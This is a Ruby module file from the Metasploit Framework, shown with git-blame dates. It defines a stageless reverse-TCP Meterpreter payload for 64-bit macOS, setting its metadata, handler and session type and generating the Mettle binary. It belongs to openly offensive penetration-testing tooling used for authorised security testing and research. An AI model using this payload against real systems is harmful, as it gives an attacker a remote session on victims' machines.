metasploit-framework/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb

47 lines
1.3 KiB
Ruby
Raw Normal View History

2017-05-23 01:47:23 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2017-05-23 01:47:23 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_x64_osx'
module MetasploitModule
2018-02-07 14:06:37 +00:00
CachedSize = 802776
2017-05-23 01:47:23 +00:00
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OSX Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
2017-10-30 19:04:10 +00:00
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
2017-05-23 01:47:23 +00:00
],
'Platform' => 'osx',
'Arch' => ARCH_X64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x64_OSX
)
)
end
def generate
opts = {
scheme: 'tcp',
stageless: true
}
2017-05-23 01:47:23 +00:00
MetasploitPayloads::Mettle.new('x86_64-apple-darwin', generate_config(opts)).to_binary :exec
end
end